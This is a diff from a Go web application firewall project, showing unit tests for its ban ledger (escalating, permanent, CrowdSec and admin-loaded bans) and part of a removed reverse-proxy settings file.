i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
}
now = ban.Expires
}
// The sixth would last 243 hours, more than seven days: it is
// permanent, and never ends.
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Permanent() {
t.Fatalf("sixth ban ends at %s, want a permanent one", ban.Expires)
}
_, banned, _ := ledger.Check(netblock.Addr(), now.Add(100*365*day))
if !banned {
t.Error("a permanent ban ended")
}
}
func TestRepeatWindowRunsOut(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// gap is the time between the end of the first ban and the second.
gap time.Duration
want time.Duration
}{
{"broken again as the window ends", day, 3 * time.Hour},
{"broken again after the window", day + time.Nanosecond, time.Hour},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
if second.Expires.Sub(second.Start) != tc.want ||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
}
})
}
}
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
t.Parallel()
params := defaultParams()
params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(params)
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
bans.Notes{})
if !ban.Permanent() {
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
}
}
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
t.Parallel()
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
// hours, is within the maximum, and three times as long would not fit
// in a time.Duration. The 15th is permanent.
params := defaultParams()
params.MaxBanDuration = 100000 * day
ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
for i := range 14 {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Expires.After(ban.Start) {
t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
}
now = ban.Expires
}
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Permanent() {
t.Errorf("15th ban ends at %s, want a permanent one", ban.Expires)
}
}
func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
if !made {
t.Error("the first ban was not made")
}
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
}
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
if made || !reflect.DeepEqual(again, first) {
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
again, made, first)
}
}
func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
for range 3 {
got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
if !banned || got.Start != ban.Start {
t.Fatalf("check during the ban gives %+v and %t", got, banned)
}
}
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
if banned {
t.Error("another netblock is banned")
}
_, banned, _ = ledger.Check(netblock.Addr(), ban.Expires)
if banned {
t.Error("the ban did not end")
}
// The netblock's requests went from 5 to 8 with the three refused.
notes := ledger.Bans(netblock)[0].Notes
if notes.Refused != 3 || notes.Requests != 8 {
t.Errorf("the notes count %d refused requests of %d, want 3 of 8",
notes.Refused, notes.Requests)
}
}
func TestFindCountsNothing(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
if !banned || !reflect.DeepEqual(got, ban) {
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
}
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
if banned {
t.Error("the ban did not end")
}
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
}
}
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
t.Parallel()
params := defaultParams()
params.MaxBans = 3
ledger := bans.New(params)
a := netip.MustParsePrefix("203.0.113.1/32")
b := netip.MustParsePrefix("203.0.113.2/32")
c := netip.MustParsePrefix("203.0.113.3/32")
d := netip.MustParsePrefix("2001:db8::/64")
now := midnight()
first, _ := ledger.BanForLimit(a, now, bans.Notes{})
ledger.BanForLimit(b, now, bans.Notes{})
ledger.BanForLimit(c, now, bans.Notes{})
// A request from a makes b the netblock seen longest ago, and its ban
// goes to make room for d's.
ledger.Check(a.Addr(), now)
ledger.BanForLimit(d, now, bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 0, c: 1, d: 1})
// a is banned again once its ban has ended; c, seen longest ago, goes.
ledger.BanForLimit(a, first.Expires, bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{a: 2, c: 0, d: 1})
// With d seen since, a is seen longest ago, and its earlier ban goes
// first.
ledger.Check(d.Addr(), first.Expires)
ledger.BanForLimit(b, first.Expires, bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
}
}
func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
t.Parallel()
// With room for one ban, the netblock's ended ban goes to make room for
// its new one, whose notes still count it.
params := defaultParams()
params.MaxBans = 1
ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
held := ledger.Bans(netblock)
if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the ledger holds %+v, want only the second ban, "+
"with 1 earlier ban for a limit", held)
}
}
func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
notes := bans.Notes{RuleID: "env-file", Target: "path"}
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
ledger.Made(bans.CauseLimit) != 0 {
t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
"want one for an attack, of seven days", ban,
ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
}
wantChanged(t, ledger, true)
// In observe mode the ban refuses nothing, and stays as it is, while
// Find tells that the request would have made it permanent.
got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
t.Fatalf("a request found under the ban left it %+v, would have made it "+
"permanent %t, want it as it was, and true", got, wouldMakePermanent)
}
wantChanged(t, ledger, false)
// A request it refuses makes it permanent, says so, and makes
// bans.json due.
got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
"want it made permanent", got, madePermanent)
}
wantChanged(t, ledger, true)
// The next request finds it permanent already.
_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
if !banned || madePermanent {
t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
"want banned by the permanent ban", banned, madePermanent)
}
}
func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// A ban for a broken limit before does not count.
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
second, _ := ledger.BanForAttack(netblock, first.Expires, bans.Notes{})
if second.Expires.Sub(second.Start) != 7*day {
t.Fatalf("the first ban for an attack lasts %s, want 7 days",
second.Expires.Sub(second.Start))
}
// Once that has run out without a request, the netblock is served, and
// its next clear sign of attack bans it for good.
_, banned, _ := ledger.Check(netblock.Addr(), second.Expires)
if banned {
t.Fatal("the ban did not end")
}
// Its notes show the earlier ban for an attack that makes it permanent,
// beside the one for a limit.
third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
if !third.Permanent() ||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
"with 1 earlier ban for a limit and 1 for an attack", third)
}
}
func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
wantChanged(t, ledger, true)
// While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
if would || !reflect.DeepEqual(during, first) {
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
would, during, first)
}
// As it ends, a clear sign of attack would ban for seven days, and a
// limit broken again for three hours, but neither is made.
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
bans.Notes{RuleID: "git-dir"})
limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
limit.Reason != "requests per minute over the limit of 1" {
t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
"three hours for the limit", attack, limit)
}
if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseAttack) != 0 {
t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
}
wantChanged(t, ledger, false)
// The ban made is the one that would have been.
made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
if !reflect.DeepEqual(made, limit) {
t.Errorf("the ban made is %+v, want %+v", made, limit)
}
}
func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
// Five bans for a limit in a row, of 1, 3, 9, 27 and 81 hours, are not
// permanent. The sixth, of 243 hours, would be, while a first ban for
// an attack would not.
for i := range 5 {
if ledger.WouldBePermanent(netblock, now, bans.CauseLimit) {
t.Fatalf("ban %d for a limit would be permanent", i+1)
}
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
now = ban.Expires
}
if !ledger.WouldBePermanent(netblock, now, bans.CauseLimit) {
t.Error("the sixth ban for a limit would not be permanent")
}
if ledger.WouldBePermanent(netblock, now, bans.CauseAttack) {
t.Error("a first ban for an attack would be permanent")
}
// Once a first ban for an attack has ended, the next would be permanent.
attack, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
if !ledger.WouldBePermanent(netblock, attack.Expires, bans.CauseAttack) {
t.Error("a second ban for an attack would not be permanent")
}
}
func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the seven days would be permanent; a limit broken as the
// ban for an attack ends bans for an hour, as a first broken limit does.
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
}
// And a request during the ban for a limit leaves it as it is.
got, _, madePermanent := ledger.Check(netblock.Addr(), limit.Start)
if got.Permanent() || madePermanent {
t.Error("a request during a ban for a limit made it permanent")
}
}
func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
long := strings.Repeat("a", 300)
request := bans.Request{
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
}
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
cut := long[:256]
want := bans.Request{
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
}
if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
}
}
func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("198.51.100.7/32")
// A ban made with the client's lookup, one made before it came, after
// the first ended, and one on another netblock.
ledger.BanForLimit(netblock, midnight(), bans.Notes{
ASN: "AS64497", ASName: "Other Net", Country: "FR",
})
ledger.BanForLimit(netblock, midnight().Add(time.Hour), bans.Notes{})
ledger.BanForLimit(other, midnight(), bans.Notes{})
ledger.AddLookup(netblock, "AS64496", "Example Net", "DE")
held := ledger.Bans(netblock)
if len(held) != 2 {
t.Fatalf("%s has %d bans, want 2", netblock, len(held))
}
for i, want := range []bans.Notes{
{ASN: "AS64497", ASName: "Other Net", Country: "FR"},
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
} {
got := held[i].Notes
if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
}
}
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
t.Errorf("the ban on %s has %q and %q, want neither",
other, notes.ASN, notes.Country)
}
}
// defaultParams are the params at the settings' defaults.
func defaultParams() bans.Params {
return bans.Params{
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day,
MaxBanDuration: 7 * day,
AttackBanDuration: 7 * day,
MaxBans: 5000,
}
}
// midnight is when the tests' first bans are made.
func midnight() time.Time {
return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
}
// wantBans checks how many bans the ledger holds on each netblock.
func wantBans(t *testing.T, ledger *bans.Ledger, want map[netip.Prefix]int) {
t.Helper()
for netblock, count := range want {
got := len(ledger.Bans(netblock))
if got != count {
t.Errorf("%s has %d bans, want %d", netblock, got, count)
}
}
}
internal/bans/crowdsec_test.go
-90
View File
@@ -1,90 +0,0 @@
package bans_test
import (
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// scenario is the scenario of the tests' CrowdSec decisions.
const scenario = "crowdsecurity/ssh-bf"
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
scenario, bans.Notes{})
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
wouldBan, ledger.Bans(netblock))
}
const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
bans.Notes{})
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) || ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
"crowdsec until %s", made, ban, would, expires)
}
// A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
}
}
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
// A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond)
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
"refused under the ban as it was", banned, held, madePermanent)
}
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
t.Error("the ban refuses a request once the decision has ended")
}
}
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does.
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
scenario, bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
limit)
}
}
internal/bans/snapshot_test.go
-315
View File
@@ -1,315 +0,0 @@
package bans_test
import (
"net/netip"
"reflect"
"slices"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
func TestChangedAfterABanIsMade(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
wantChanged(t, ledger, false)
ledger.BanForLimit(netblock, midnight(), bans.Notes{})
wantChanged(t, ledger, true)
// A limit broken during the ban makes no other, and a refusal changes
// only the counts in the notes, which wait for the interval's write.
ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
ledger.Check(netblock.Addr(), midnight().Add(time.Minute))
wantChanged(t, ledger, false)
// Two bans before the value is read leave one.
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
wantChanged(t, ledger, true)
wantChanged(t, ledger, false)
}
func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
v6 := netip.MustParsePrefix("2001:db8::/64")
high := netip.MustParsePrefix("203.0.113.10/32")
low := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(v6, midnight(), bans.Notes{})
ledger.BanForLimit(high, midnight(), bans.Notes{})
ledger.BanForLimit(low, midnight(), bans.Notes{})
ledger.BanForLimit(v6, first.Expires, bans.Notes{})
snapshot := ledger.Snapshot()
got := make([]string, 0, len(snapshot))
for _, ban := range snapshot {
got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
}
want := []string{
"203.0.113.9/32 12:00AM", "203.0.113.10/32 12:00AM",
"2001:db8::/64 12:00AM", "2001:db8::/64 1:00AM",
}
if !slices.Equal(got, want) {
t.Errorf("snapshot %v, want %v", got, want)
}
}
func TestLoadedBansCarryOn(t *testing.T) {
t.Parallel()
before := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
// Loaded into a new ledger, as across a restart, the ban still refuses
// while it lasts, and once it has ended a broken limit bans for three
// times as long, with the loaded ban counted among the earlier ones.
after := bans.New(defaultParams())
after.Load(before.Snapshot())
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
if !banned {
t.Error("the loaded ban does not refuse")
}
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
if again.Expires.Sub(again.Start) != 3*time.Hour ||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
again.Expires.Sub(again.Start), again.Notes.EarlierBans)
}
}
func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
t.Parallel()
// Two entries as an admin might write them, with addresses not masked
// to their lengths, the IPv6 one shorter than the /64 an IPv6 client's
// ban covers, beside a ban the ledger makes on one IPv4 address.
ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
})
ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
for client, want := range map[string]bool{
"203.0.113.0": true,
"203.0.113.200": true,
"203.0.114.1": false,
"2001:db8:0:5::1": true,
"2001:db8:1::1": false,
"198.51.100.7": true,
"198.51.100.8": false,
} {
_, banned, _ := ledger.Check(netip.MustParseAddr(client), midnight())
if banned != want {
t.Errorf("%s is refused: %t, want %t", client, banned, want)
}
}
// The loaded netblocks are written back masked.
snapshot := ledger.Snapshot()
got := make([]string, 0, len(snapshot))
for _, ban := range snapshot {
got = append(got, ban.Netblock.String())
}
want := []string{"198.51.100.7/32", "203.0.113.0/24", "2001:db8::/48"}
if !slices.Equal(got, want) {
t.Errorf("the ledger holds bans on %v, want %v", got, want)
}
}
func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
t.Parallel()
// As when an admin adds a permanent ban to bans.json with a start
// before that of the netblock's ban that has ended.
netblock := netip.MustParsePrefix("203.0.113.0/24")
permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
ended := bans.Ban{
Netblock: netblock,
Start: midnight(),
Expires: midnight().Add(time.Hour),
}
ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{permanent, ended})
now := midnight().Add(2 * time.Hour)
client := netip.MustParseAddr("203.0.113.9")
ban, banned, _ := ledger.Find(client, now)
if !banned || !ban.Permanent() {
t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
}
ban, banned, _ = ledger.Check(client, now)
if !banned || !ban.Permanent() {
t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
banned, ban)
}
// A limit broken now makes no shorter ban over the permanent one.
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
}
}
func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
t.Parallel()
// A 9-hour ban sww made, the third in a row, and an admin's
// 1-hour ban added to bans.json over it, with no cause and no notes.
netblock := netip.MustParsePrefix("203.0.113.9/32")
nineHours := bans.Ban{
Netblock: netblock,
Start: midnight(),
Expires: midnight().Add(9 * time.Hour),
Cause: bans.CauseLimit,
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 2}},
}
admins := bans.Ban{
Netblock: netblock,
Start: midnight().Add(time.Hour),
Expires: midnight().Add(2 * time.Hour),
}
ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{nineHours, admins})
// Once both have ended, a limit broken within the repeat window bans
// for three times the 9 hours, and the notes count the two bans
// before the 9-hour one and it, for a limit, and the admin's.
ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
"want 27h, 3 for a limit and 1 an admin's",
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
}
}
func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
t.Parallel()
// bans.json lists the bans by netblock, not in the order they began.
later := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.1/32"),
Start: midnight(),
Cause: bans.CauseLimit,
}
earlier := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
Start: midnight().Add(-time.Hour),
Cause: bans.CauseLimit,
}
params := defaultParams()
params.MaxBans = 1
ledger := bans.New(params)
ledger.Load([]bans.Ban{later, earlier})
held := ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
}
}
func TestLoadReplacesTheBansHeld(t *testing.T) {
t.Parallel()
// Room for three bans, so that the second load, were it added to the
// two bans held, would drop none of them to make room.
params := defaultParams()
params.MaxBans = 3
ledger := bans.New(params)
kept := bans.Ban{
Netblock: netip.MustParsePrefix("2001:db8::/64"),
Start: midnight(),
Cause: bans.CauseLimit,
}
ledger.Load([]bans.Ban{
{
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
Start: midnight(),
Cause: bans.CauseLimit,
},
kept,
})
// Loaded again without the first ban, as when an admin's edit of
// bans.json is taken in, that ban is lifted.
ledger.Load([]bans.Ban{kept})
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
if banned {
t.Error("a ban left out of the second load still refuses")
}
// The ledger holds one ban, so it makes two more without dropping any.
first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
bans.Notes{})
second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
bans.Notes{})
want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("the ledger holds %+v, want %+v", got, want)
}
}
func TestLoadCutsTheTextsTo256Bytes(t *testing.T) {
t.Parallel()
long := strings.Repeat("a", 300)
ban := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.9/32"),
Start: midnight(),
Notes: bans.Notes{Request: bans.Request{
Method: long, Host: long, Path: long, UserAgent: long,
}},
}
ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ban})
cut := long[:256]
want := bans.Request{Method: cut, Host: cut, Path: cut, UserAgent: cut}
got := ledger.Snapshot()[0].Notes.Request
if got != want {
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", got)
}
}
// wantChanged checks whether the ledger's Changed has a value to read.
func wantChanged(t *testing.T, ledger *bans.Ledger, want bool) {
t.Helper()
got := false
select {
case <-ledger.Changed():
got = true
default:
}
if got != want {
t.Errorf("Changed has a value: %t, want %t", got, want)
}
}
internal/config/config.go
+84 -2173
View File
File diff suppressed because it is too large. Load diff
internal/config/config_test.go
+149 -2529
View File
File diff suppressed because it is too large. Load diff
internal/config/rproxy.go
-192
View File
@@ -1,192 +0,0 @@
package config
import (
"errors"
"fmt"
"log/slog"
"math"
"net/netip"
"net/url"
"strconv"
"strings"
"time"
)
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
// is off.
type RProxy struct {
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
ListenAddr string
// UpstreamURL is the app (SWRP_UPSTREAM_URL).
UpstreamURL *url.URL
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
// (SWRP_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix
// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
WAFBackend *url.URL
// Timeout is how long rproxy waits for discriminator's answer to a question,
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
Timeout time.Duration
// DefaultDisposition is what is done with a request when discriminator cannot be
// connected to, does not answer at all, or does not answer within Timeout:
// allow or deny (SWRP_DEFAULT_DISPOSITION).
DefaultDisposition string
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
MaxRequestSize int64
MaxResponseSize int64
// MaxRequestTime bounds sending the whole request: the visitor's request
// line and headers, and then, from their end, its body on its way to the
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
// the end of the request to its last byte reaching the visitor
// (SWRP_MAX_RESPONSE_TIME_MS).
MaxRequestTime time.Duration
MaxResponseTime time.Duration
// settings are the values read, as given or by default, for the log line
// at start.
settings []slog.Attr
}
var (
errNeedsWAFBackend = errors.New(
"is required: it is discriminator's URL, such as http://discriminator:8080")
errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off")
)
